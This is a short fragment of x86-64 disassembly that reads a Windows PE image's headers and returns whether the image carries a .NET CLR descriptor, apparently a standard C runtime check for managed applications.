cmp word [rax], cx
jne 0x140001fee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001fee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001fee
cmp dword [rcx + 0x84], 0xe
jbe 0x140001fee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ff0
xor al, al
add rsp, 0x28
ret